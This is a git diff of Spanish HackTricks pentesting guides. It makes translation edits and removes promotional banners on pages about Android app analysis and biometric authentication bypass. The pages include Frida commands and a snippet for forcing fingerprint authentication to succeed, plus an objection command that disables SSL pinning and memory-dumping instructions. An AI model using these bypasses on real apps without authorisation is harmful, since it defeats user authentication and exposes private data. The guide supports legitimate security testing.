- El almacenamiento externo puede ser removido o accedido por cualquier aplicación, haciéndolo menos seguro. - El almacenamiento externo puede ser removido o accedido por cualquier aplicación, haciéndolo menos seguro.
3. **Manejo de Datos desde Almacenamiento Externo**: 3. **Manejo de Datos desde Almacenamiento Externo**:
- Siempre **realiza validación de entrada** en los datos recuperados del almacenamiento externo. Esto es crucial porque los datos provienen de una fuente no confiable. - Siempre **realiza validación de entrada** en los datos recuperados del almacenamiento externo. Esto es crucial porque los datos provienen de una fuente no confiable.
@ -137,8 +122,8 @@ Al tratar con archivos en **almacenamiento externo**, como tarjetas SD, se deben
El almacenamiento externo puede ser **accedido** en `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` El almacenamiento externo puede ser **accedido** en `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
> [!NOTE] > [!NOTA]
> A partir de Android 4.4 (**API 17**), la tarjeta SD tiene una estructura de directorios que **limita el acceso de una aplicación al directorio que es específicamente para esa aplicación**. Esto previene que aplicaciones maliciosas obtengan acceso de lectura o escritura a los archivos de otra aplicación. > A partir de Android 4.4 (**API 17**), la tarjeta SD tiene una estructura de directorio que **limita el acceso de una aplicación al directorio que es específicamente para esa aplicación**. Esto previene que aplicaciones maliciosas obtengan acceso de lectura o escritura a los archivos de otra aplicación.
**Datos sensibles almacenados en texto claro** **Datos sensibles almacenados en texto claro**
@ -192,11 +177,11 @@ Lee la siguiente página para aprender cómo acceder fácilmente al código C# d
### Aplicaciones Superempaquetadas ### Aplicaciones Superempaquetadas
Según este [**blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superempaquetado es un algoritmo Meta que comprime el contenido de una aplicación en un solo archivo. El blog habla sobre la posibilidad de crear una aplicación que descomprima este tipo de aplicaciones... y una forma más rápida que implica **ejecutar la aplicación y recopilar los archivos descomprimidos del sistema de archivos.** Según esta [**entrada de blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superempaquetado es un algoritmo Meta que comprime el contenido de una aplicación en un solo archivo. El blog habla sobre la posibilidad de crear una aplicación que descomprima este tipo de aplicaciones... y una forma más rápida que implica **ejecutar la aplicación y recopilar los archivos descomprimidos del sistema de archivos.**
### Análisis Estático Automatizado del Código ### Análisis Estático Automatizado de Código
La herramienta [**mariana-trench**](https://github.com/facebook/mariana-trench) es capaz de encontrar **vulnerabilidades** al **escanear** el **código** de la aplicación. Esta herramienta contiene una serie de **fuentes conocidas** (que indican a la herramienta los **lugares** donde la **entrada** es **controlada por el usuario**), **sumideros** (que indican a la herramienta **lugares peligrosos** donde la entrada maliciosa del usuario podría causar daños) y **reglas**. Estas reglas indican la **combinación** de **fuentes-sumideros** que indica una vulnerabilidad. La herramienta [**mariana-trench**](https://github.com/facebook/mariana-trench) es capaz de encontrar **vulnerabilidades** mediante **escanear** el **código** de la aplicación. Esta herramienta contiene una serie de **fuentes conocidas** (que indican a la herramienta los **lugares** donde la **entrada** es **controlada por el usuario**), **sumideros** (que indican a la herramienta **lugares peligrosos** donde la entrada maliciosa del usuario podría causar daños) y **reglas**. Estas reglas indican la **combinación** de **fuentes-sumideros** que indica una vulnerabilidad.
Con este conocimiento, **mariana-trench revisará el código y encontrará posibles vulnerabilidades en él**. Con este conocimiento, **mariana-trench revisará el código y encontrará posibles vulnerabilidades en él**.
@ -225,21 +210,6 @@ content-protocol.md
--- ---
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores.
**Perspectivas de Hacking**\
Participa en contenido que profundiza en la emoción y los desafíos del hacking.
**Noticias de Hackeo en Tiempo Real**\
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real.
**Últimos Anuncios**\
Mantente informado sobre las nuevas recompensas por errores que se lanzan y actualizaciones cruciales de la plataforma.
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo.
--- ---
## Análisis Dinámico ## Análisis Dinámico
@ -273,7 +243,7 @@ avd-android-virtual-device.md
> [!NOTE] > [!NOTE]
> Al crear un nuevo emulador en cualquier plataforma, recuerda que cuanto más grande sea la pantalla, más lento funcionará el emulador. Así que selecciona pantallas pequeñas si es posible. > Al crear un nuevo emulador en cualquier plataforma, recuerda que cuanto más grande sea la pantalla, más lento funcionará el emulador. Así que selecciona pantallas pequeñas si es posible.
Para **instalar servicios de Google** (como AppStore) en Genymotion, necesitas hacer clic en el botón marcado en rojo de la siguiente imagen: Para **instalar servicios de google** (como AppStore) en Genymotion, necesitas hacer clic en el botón marcado en rojo de la siguiente imagen:
![](<../../images/image (277).png>) ![](<../../images/image (277).png>)
@ -296,7 +266,7 @@ Necesitas activar las **opciones de depuración** y sería genial si puedes **ro
**Registro** **Registro**
Los desarrolladores deben tener cuidado de no exponer **información de depuración** públicamente, ya que puede llevar a filtraciones de datos sensibles. Se recomiendan las herramientas [**pidcat**](https://github.com/JakeWharton/pidcat) y `adb logcat` para monitorear los registros de la aplicación y proteger la información sensible. **Pidcat** es preferido por su facilidad de uso y legibilidad. Los desarrolladores deben tener cuidado de exponer **información de depuración** públicamente, ya que puede llevar a filtraciones de datos sensibles. Se recomiendan las herramientas [**pidcat**](https://github.com/JakeWharton/pidcat) y `adb logcat` para monitorear los registros de la aplicación y proteger la información sensible. **Pidcat** es preferido por su facilidad de uso y legibilidad.
> [!WARNING] > [!WARNING]
> Ten en cuenta que desde **versiones posteriores a Android 4.0**, **las aplicaciones solo pueden acceder a sus propios registros**. Así que las aplicaciones no pueden acceder a los registros de otras aplicaciones.\ > Ten en cuenta que desde **versiones posteriores a Android 4.0**, **las aplicaciones solo pueden acceder a sus propios registros**. Así que las aplicaciones no pueden acceder a los registros de otras aplicaciones.\
@ -318,7 +288,7 @@ Las aplicaciones a menudo integran servicios como Google Adsense, que pueden ina
### Bases de Datos SQLite ### Bases de Datos SQLite
La mayoría de las aplicaciones utilizarán **bases de datos SQLite internas** para guardar información. Durante el pentest, echa un **vistazo** a las **bases de datos** creadas, los nombres de las **tablas** y **columnas** y todos los **datos** guardados porque podrías encontrar **información sensible** (lo que sería una vulnerabilidad).\ La mayoría de las aplicaciones utilizarán **bases de datos SQLite internas** para guardar información. Durante el pentest, echa un **vistazo** a las **bases de datos** creadas, los nombres de **tablas** y **columnas** y todos los **datos** guardados porque podrías encontrar **información sensible** (lo que sería una vulnerabilidad).\
Las bases de datos deberían estar ubicadas en `/data/data/the.package.name/databases` como `/data/data/com.mwr.example.sieve/databases`. Las bases de datos deberían estar ubicadas en `/data/data/the.package.name/databases` como `/data/data/com.mwr.example.sieve/databases`.
Si la base de datos está guardando información confidencial y está **encriptada** pero puedes **encontrar** la **contraseña** dentro de la aplicación, sigue siendo una **vulnerabilidad**. Si la base de datos está guardando información confidencial y está **encriptada** pero puedes **encontrar** la **contraseña** dentro de la aplicación, sigue siendo una **vulnerabilidad**.
@ -333,7 +303,7 @@ Drozer es una herramienta útil para **explotar actividades exportadas, servicio
### Explotando Actividades Exportadas ### Explotando Actividades Exportadas
[**Lee esto si quieres refrescar qué es una Actividad de Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\ [**Lee esto si quieres refrescar qué es una Actividad de Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\
También recuerda que el código de una actividad comienza en el método **`onCreate`**. También recuerda que el código de una actividad comienza en el **método `onCreate`**.
**Bypass de Autorización** **Bypass de Autorización**
@ -417,13 +387,13 @@ Ten en cuenta que si encuentras los endpoints correctos dentro de la aplicación
Un [informe de bug bounty interesante](https://hackerone.com/reports/855618) sobre enlaces (_/.well-known/assetlinks.json_). Un [informe de bug bounty interesante](https://hackerone.com/reports/855618) sobre enlaces (_/.well-known/assetlinks.json_).
### Inspección y Verificación de la Capa de Transporte ### Inspección y fallos de verificación de la capa de transporte
- **Los certificados no siempre son inspeccionados adecuadamente** por las aplicaciones de Android. Es común que estas aplicaciones pasen por alto advertencias y acepten certificados autofirmados o, en algunos casos, vuelvan a usar conexiones HTTP. - **Los certificados no siempre son inspeccionados adecuadamente** por las aplicaciones de Android. Es común que estas aplicaciones pasen por alto advertencias y acepten certificados autofirmados o, en algunos casos, vuelvan a usar conexiones HTTP.
- **Las negociaciones durante el apretón de manos SSL/TLS a veces son débiles**, empleando suites de cifrado inseguras. Esta vulnerabilidad hace que la conexión sea susceptible a ataques de hombre en el medio (MITM), permitiendo a los atacantes descifrar los datos. - **Las negociaciones durante el apretón de manos SSL/TLS a veces son débiles**, empleando suites de cifrado inseguras. Esta vulnerabilidad hace que la conexión sea susceptible a ataques de hombre en el medio (MITM), permitiendo a los atacantes descifrar los datos.
- **La filtración de información privada** es un riesgo cuando las aplicaciones se autentican utilizando canales seguros pero luego se comunican a través de canales no seguros para otras transacciones. Este enfoque no protege los datos sensibles, como cookies de sesión o detalles del usuario, de la interceptación por entidades maliciosas. - **La filtración de información privada** es un riesgo cuando las aplicaciones se autentican utilizando canales seguros pero luego se comunican a través de canales no seguros para otras transacciones. Este enfoque no protege los datos sensibles, como cookies de sesión o detalles del usuario, de la interceptación por entidades maliciosas.
#### Verificación de Certificados #### Verificación de certificados
Nos centraremos en la **verificación de certificados**. La integridad del certificado del servidor debe ser verificada para mejorar la seguridad. Esto es crucial porque las configuraciones TLS inseguras y la transmisión de datos sensibles a través de canales no encriptados pueden representar riesgos significativos. Para pasos detallados sobre cómo verificar certificados de servidor y abordar vulnerabilidades, [**este recurso**](https://manifestsecurity.com/android-application-security-part-10/) proporciona una guía completa. Nos centraremos en la **verificación de certificados**. La integridad del certificado del servidor debe ser verificada para mejorar la seguridad. Esto es crucial porque las configuraciones TLS inseguras y la transmisión de datos sensibles a través de canales no encriptados pueden representar riesgos significativos. Para pasos detallados sobre cómo verificar certificados de servidor y abordar vulnerabilidades, [**este recurso**](https://manifestsecurity.com/android-application-security-part-10/) proporciona una guía completa.
@ -431,23 +401,23 @@ Nos centraremos en la **verificación de certificados**. La integridad del certi
SSL Pinning es una medida de seguridad donde la aplicación verifica el certificado del servidor contra una copia conocida almacenada dentro de la propia aplicación. Este método es esencial para prevenir ataques MITM. Se recomienda encarecidamente implementar SSL Pinning para aplicaciones que manejan información sensible. SSL Pinning es una medida de seguridad donde la aplicación verifica el certificado del servidor contra una copia conocida almacenada dentro de la propia aplicación. Este método es esencial para prevenir ataques MITM. Se recomienda encarecidamente implementar SSL Pinning para aplicaciones que manejan información sensible.
#### Inspección de Tráfico #### Inspección de tráfico
Para inspeccionar el tráfico HTTP, es necesario **instalar el certificado de la herramienta proxy** (por ejemplo, Burp). Sin instalar este certificado, el tráfico encriptado podría no ser visible a través de la proxy. Para una guía sobre cómo instalar un certificado CA personalizado, [**haz clic aquí**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). Para inspeccionar el tráfico HTTP, es necesario **instalar el certificado de la herramienta proxy** (por ejemplo, Burp). Sin instalar este certificado, el tráfico encriptado podría no ser visible a través del proxy. Para una guía sobre cómo instalar un certificado CA personalizado, [**haz clic aquí**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Las aplicaciones que apuntan a **API Level 24 y superiores** requieren modificaciones en la Configuración de Seguridad de Red para aceptar el certificado CA de la proxy. Este paso es crítico para inspeccionar tráfico encriptado. Para instrucciones sobre cómo modificar la Configuración de Seguridad de Red, [**consulta este tutorial**](make-apk-accept-ca-certificate.md). Las aplicaciones que apuntan a **API Level 24 y superiores** requieren modificaciones en la Configuración de Seguridad de Red para aceptar el certificado CA del proxy. Este paso es crítico para inspeccionar el tráfico encriptado. Para instrucciones sobre cómo modificar la Configuración de Seguridad de Red, [**consulta este tutorial**](make-apk-accept-ca-certificate.md).
#### Bypass de SSL Pinning #### Bypass de SSL Pinning
Cuando se implementa SSL Pinning, es necesario eludirlo para inspeccionar el tráfico HTTPS. Existen varios métodos disponibles para este propósito: Cuando se implementa SSL Pinning, es necesario eludirlo para inspeccionar el tráfico HTTPS. Existen varios métodos disponibles para este propósito:
- Modificar automáticamente el **apk** para **eludir** SSLPinning con [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). La mejor ventaja de esta opción es que no necesitarás root para eludir el SSL Pinning, pero necesitarás eliminar la aplicación y reinstalar la nueva, y esto no siempre funcionará. - Modificar **automáticamente** el **apk** para **eludir** SSLPinning con [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). La mejor ventaja de esta opción es que no necesitarás root para eludir el SSL Pinning, pero necesitarás eliminar la aplicación y reinstalar la nueva, y esto no siempre funcionará.
- Podrías usar **Frida** (discutido a continuación) para eludir esta protección. Aquí tienes una guía para usar Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) - Podrías usar **Frida** (discutido a continuación) para eludir esta protección. Aquí tienes una guía para usar Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- También puedes intentar **eludir automáticamente SSL Pinning** usando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` - También puedes intentar **eludir automáticamente SSL Pinning** usando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- También puedes intentar **eludir automáticamente SSL Pinning** usando **análisis dinámico de MobSF** (explicado a continuación) - También puedes intentar **eludir automáticamente SSL Pinning** usando **análisis dinámico de MobSF** (explicado a continuación)
- Si aún piensas que hay algún tráfico que no estás capturando, puedes intentar **redirigir el tráfico a burp usando iptables**. Lee este blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) - Si aún piensas que hay algún tráfico que no estás capturando, puedes intentar **redirigir el tráfico a burp usando iptables**. Lee este blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Búsqueda de Vulnerabilidades Web Comunes #### Búsqueda de vulnerabilidades web comunes
Es importante también buscar vulnerabilidades web comunes dentro de la aplicación. La información detallada sobre cómo identificar y mitigar estas vulnerabilidades está más allá del alcance de este resumen, pero se cubre extensamente en otros lugares. Es importante también buscar vulnerabilidades web comunes dentro de la aplicación. La información detallada sobre cómo identificar y mitigar estas vulnerabilidades está más allá del alcance de este resumen, pero se cubre extensamente en otros lugares.
@ -455,17 +425,17 @@ Es importante también buscar vulnerabilidades web comunes dentro de la aplicaci
[Frida](https://www.frida.re) es un kit de herramientas de instrumentación dinámica para desarrolladores, ingenieros de reversa e investigadores de seguridad.\ [Frida](https://www.frida.re) es un kit de herramientas de instrumentación dinámica para desarrolladores, ingenieros de reversa e investigadores de seguridad.\
**Puedes acceder a la aplicación en ejecución y enganchar métodos en tiempo de ejecución para cambiar el comportamiento, cambiar valores, extraer valores, ejecutar diferentes códigos...**\ **Puedes acceder a la aplicación en ejecución y enganchar métodos en tiempo de ejecución para cambiar el comportamiento, cambiar valores, extraer valores, ejecutar diferentes códigos...**\
Si deseas hacer pentesting en aplicaciones Android, necesitas saber cómo usar Frida. Si deseas hacer pentesting en aplicaciones de Android, necesitas saber cómo usar Frida.
- Aprende a usar Frida: [**Tutorial de Frida**](frida-tutorial/) - Aprende a usar Frida: [**Tutorial de Frida**](frida-tutorial/)
- Algunas "GUI" para acciones con Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) - Algunas "GUI" para acciones con Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection es genial para automatizar el uso de Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) - Ojection es excelente para automatizar el uso de Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- Puedes encontrar algunos scripts de Frida geniales aquí: [**https://codeshare.frida.re/**](https://codeshare.frida.re) - Puedes encontrar algunos scripts de Frida geniales aquí: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Intenta eludir mecanismos de anti-debugging / anti-frida cargando Frida como se indica en [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (herramienta [linjector](https://github.com/erfur/linjector-rs)) - Intenta eludir mecanismos de anti-debugging / anti-frida cargando Frida como se indica en [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (herramienta [linjector](https://github.com/erfur/linjector-rs))
### **Volcar Memoria - Fridump** ### **Volcar memoria - Fridump**
Verifica si la aplicación está almacenando información sensible en la memoria que no debería estar almacenando, como contraseñas o mnemotécnicas. Verifica si la aplicación está almacenando información sensible dentro de la memoria que no debería estar almacenando, como contraseñas o mnemotécnicas.
Usando [**Fridump3**](https://github.com/rootbsd/fridump3) puedes volcar la memoria de la app con: Usando [**Fridump3**](https://github.com/rootbsd/fridump3) puedes volcar la memoria de la app con:
```bash ```bash
@ -537,21 +507,6 @@ Probablemente conozcas este tipo de vulnerabilidades de la web. Debes tener espe
--- ---
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs!
**Perspectivas de Hacking**\
Participa en contenido que profundiza en la emoción y los desafíos del hacking.
**Noticias de Hackeo en Tiempo Real**\
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real.
**Últimos Anuncios**\
Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma.
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
## Análisis Automático ## Análisis Automático
### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) ### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF)
@ -575,7 +530,7 @@ MobSF también le permite realizar análisis de **diff/Comparar** y integrar **V
**MobSF** también puede ser muy útil para el **análisis dinámico** en **Android**, pero en ese caso necesitará instalar MobSF y **genymotion** en su host (una VM o Docker no funcionará). _Nota: Necesita **iniciar primero una VM en genymotion** y **luego MobSF.**_\ **MobSF** también puede ser muy útil para el **análisis dinámico** en **Android**, pero en ese caso necesitará instalar MobSF y **genymotion** en su host (una VM o Docker no funcionará). _Nota: Necesita **iniciar primero una VM en genymotion** y **luego MobSF.**_\
El **analizador dinámico de MobSF** puede: El **analizador dinámico de MobSF** puede:
- **Volcar datos de la aplicación** (URLs, registros, portapapeles, capturas de pantalla realizadas por usted, capturas de pantalla realizadas por "**Exported Activity Tester**", correos electrónicos, bases de datos SQLite, archivos XML y otros archivos creados). Todo esto se hace automáticamente excepto por las capturas de pantalla, necesita presionar cuando quiera una captura de pantalla o necesita presionar "**Exported Activity Tester**" para obtener capturas de pantalla de todas las actividades exportadas. - **Volcar datos de la aplicación** (URLs, registros, portapapeles, capturas de pantalla realizadas por usted, capturas de pantalla realizadas por "**Exported Activity Tester**", correos electrónicos, bases de datos SQLite, archivos XML y otros archivos creados). Todo esto se hace automáticamente excepto por las capturas de pantalla, necesita presionar cuando quiere una captura de pantalla o necesita presionar "**Exported Activity Tester**" para obtener capturas de pantalla de todas las actividades exportadas.
- Capturar **tráfico HTTPS** - Capturar **tráfico HTTPS**
- Usar **Frida** para obtener **información** **en tiempo de ejecución** - Usar **Frida** para obtener **información** **en tiempo de ejecución**
@ -618,7 +573,7 @@ receivers
Cuando se captura tráfico http, puedes ver una vista fea del tráfico capturado en "**HTTP(S) Traffic**" en la parte inferior o una vista más agradable en el botón verde "**Start HTTPTools**". Desde la segunda opción, puedes **enviar** las **solicitudes capturadas** a **proxies** como Burp o Owasp ZAP.\ Cuando se captura tráfico http, puedes ver una vista fea del tráfico capturado en "**HTTP(S) Traffic**" en la parte inferior o una vista más agradable en el botón verde "**Start HTTPTools**". Desde la segunda opción, puedes **enviar** las **solicitudes capturadas** a **proxies** como Burp o Owasp ZAP.\
Para hacerlo, _enciende Burp -->_ _apaga Intercept --> en MobSB HTTPTools selecciona la solicitud_ --> presiona "**Send to Fuzzer**" --> _selecciona la dirección del proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). Para hacerlo, _enciende Burp -->_ _apaga Intercept --> en MobSB HTTPTools selecciona la solicitud_ --> presiona "**Send to Fuzzer**" --> _selecciona la dirección del proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Una vez que termines el análisis dinámico con MobSF, puedes presionar en "**Start Web API Fuzzer**" para **fuzz http requests** y buscar vulnerabilidades. Una vez que termines el análisis dinámico con MobSF, puedes presionar "**Start Web API Fuzzer**" para **fuzz http requests** y buscar vulnerabilidades.
> [!NOTE] > [!NOTE]
> Después de realizar un análisis dinámico con MobSF, la configuración del proxy puede estar mal configurada y no podrás solucionarlo desde la GUI. Puedes corregir la configuración del proxy haciendo: > Después de realizar un análisis dinámico con MobSF, la configuración del proxy puede estar mal configurada y no podrás solucionarlo desde la GUI. Puedes corregir la configuración del proxy haciendo:
@ -706,7 +661,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
Es capaz de: Es capaz de:
- Extraer código Java y Smali utilizando diferentes herramientas - Extraer código Java y Smali usando diferentes herramientas
- Analizar APKs usando: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) - Analizar APKs usando: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- Extraer información privada del APK usando expresiones regulares. - Extraer información privada del APK usando expresiones regulares.
- Analizar el Manifest. - Analizar el Manifest.
@ -745,13 +700,17 @@ Encuentra una guía paso a paso para desofuscar el apk en [https://blog.lexfo.fr
Puedes subir un APK ofuscado a su plataforma. Puedes subir un APK ofuscado a su plataforma.
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
Esta es una herramienta LLM para encontrar cualquier vulnerabilidad de seguridad potencial en aplicaciones android y desofuscar el código de aplicaciones android. Utiliza la API pública de Gemini de Google.
### [Simplify](https://github.com/CalebFenton/simplify) ### [Simplify](https://github.com/CalebFenton/simplify)
Es un **desofuscador genérico de android.** Simplify **ejecuta virtualmente una aplicación** para entender su comportamiento y luego **intenta optimizar el código** para que se comporte de manera idéntica pero sea más fácil de entender para un humano. Cada tipo de optimización es simple y genérico, por lo que no importa qué tipo específico de ofuscación se utilice. Es un **desofuscador genérico de android.** Simplify **ejecuta virtualmente una aplicación** para entender su comportamiento y luego **intenta optimizar el código** para que se comporte de manera idéntica pero sea más fácil de entender para un humano. Cada tipo de optimización es simple y genérico, por lo que no importa qué tipo específico de ofuscación se utilice.
### [APKiD](https://github.com/rednaga/APKiD) ### [APKiD](https://github.com/rednaga/APKiD)
APKiD te da información sobre **cómo se hizo un APK**. Identifica muchos **compiladores**, **empaquetadores**, **ofuscadores** y otras cosas extrañas. Es [_PEiD_](https://www.aldeid.com/wiki/PEiD) para Android. APKiD te da información sobre **cómo se hizo un APK**. Identifica muchos **compiladores**, **empaquetadores**, **ofuscadores**, y otras cosas extrañas. Es [_PEiD_](https://www.aldeid.com/wiki/PEiD) para Android.
### Manual ### Manual
@ -777,19 +736,4 @@ AndroL4b es una máquina virtual de seguridad de Android basada en ubuntu-mate q
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/) - [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit) - [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas de errores.
**Perspectivas de Hacking**\
Participa en contenido que profundiza en la emoción y los desafíos del hacking
**Noticias de Hackeo en Tiempo Real**\
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
**Últimos Anuncios**\
Mantente informado sobre las nuevas recompensas por errores que se lanzan y actualizaciones cruciales de la plataforma
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,15 +2,9 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure> ## **Método 1 Bypass sin uso de objeto Crypto**
Profundiza tu experiencia en **Mobile Security** con 8kSec Academy. Domina la seguridad de iOS y Android a través de nuestros cursos autoguiados y obtén certificación: El enfoque aquí está en el _onAuthenticationSucceeded_ callback, que es crucial en el proceso de autenticación. Investigadores de WithSecure desarrollaron un [Frida script](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js), que permite el bypass del NULL _CryptoObject_ en _onAuthenticationSucceeded(...)_. El script fuerza un bypass automático de la autenticación de huellas dactilares al invocar el método. A continuación se muestra un fragmento simplificado que demuestra el bypass en un contexto de huellas dactilares de Android, con la aplicación completa disponible en [GitHub](https://github.com/St3v3nsS/InsecureBanking).
{% embed url="https://academy.8ksec.io/" %}
## **Método 1 Bypass sin uso de Crypto Object**
El enfoque aquí está en el callback _onAuthenticationSucceeded_, que es crucial en el proceso de autenticación. Investigadores de WithSecure desarrollaron un [Frida script](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js), que permite el bypass del NULL _CryptoObject_ en _onAuthenticationSucceeded(...)_. El script fuerza un bypass automático de la autenticación de huellas dactilares al invocar el método. A continuación se muestra un fragmento simplificado que demuestra el bypass en un contexto de huellas dactilares de Android, con la aplicación completa disponible en [GitHub](https://github.com/St3v3nsS/InsecureBanking).
```javascript ```javascript
biometricPrompt = new BiometricPrompt(this, executor, new BiometricPrompt.AuthenticationCallback() { biometricPrompt = new BiometricPrompt(this, executor, new BiometricPrompt.AuthenticationCallback() {
@Override @Override
@ -25,7 +19,7 @@ frida -U -f com.generic.insecurebankingfingerprint --no-pause -l fingerprint-byp
``` ```
## **Método 2 Enfoque de Manejo de Excepciones** ## **Método 2 Enfoque de Manejo de Excepciones**
Otro [Frida script](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js) de WithSecure aborda el bypass del uso inseguro de objetos criptográficos. El script invoca _onAuthenticationSucceeded_ con un _CryptoObject_ que no ha sido autorizado por una huella digital. Si la aplicación intenta usar un objeto de cifrado diferente, se generará una excepción. El script se prepara para invocar _onAuthenticationSucceeded_ y manejar la _javax.crypto.IllegalBlockSizeException_ en la clase _Cipher_, asegurando que los objetos subsecuentes utilizados por la aplicación estén cifrados con la nueva clave. Otro [Frida script](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js) de WithSecure aborda el bypass del uso inseguro de objetos criptográficos. El script invoca _onAuthenticationSucceeded_ con un _CryptoObject_ que no ha sido autorizado por una huella dactilar. Si la aplicación intenta usar un objeto de cifrado diferente, se generará una excepción. El script se prepara para invocar _onAuthenticationSucceeded_ y manejar la _javax.crypto.IllegalBlockSizeException_ en la clase _Cipher_, asegurando que los objetos subsecuentes utilizados por la aplicación estén cifrados con la nueva clave.
Comando para ejecutar el script de Frida: Comando para ejecutar el script de Frida:
```bash ```bash
@ -44,7 +38,7 @@ Hooking FingerprintManager.authenticate()...
Los marcos de instrumentación como Xposed o Frida se pueden utilizar para engancharse a los métodos de la aplicación en tiempo de ejecución. Para la autenticación de huellas dactilares, estos marcos pueden: Los marcos de instrumentación como Xposed o Frida se pueden utilizar para engancharse a los métodos de la aplicación en tiempo de ejecución. Para la autenticación de huellas dactilares, estos marcos pueden:
1. **Simular los Callbacks de Autenticación**: Al engancharse a los métodos `onAuthenticationSucceeded`, `onAuthenticationFailed` o `onAuthenticationError` de `BiometricPrompt.AuthenticationCallback`, puedes controlar el resultado del proceso de autenticación de huellas dactilares. 1. **Simular los Callbacks de Autenticación**: Al engancharse a los métodos `onAuthenticationSucceeded`, `onAuthenticationFailed` o `onAuthenticationError` de `BiometricPrompt.AuthenticationCallback`, puedes controlar el resultado del proceso de autenticación de huellas dactilares.
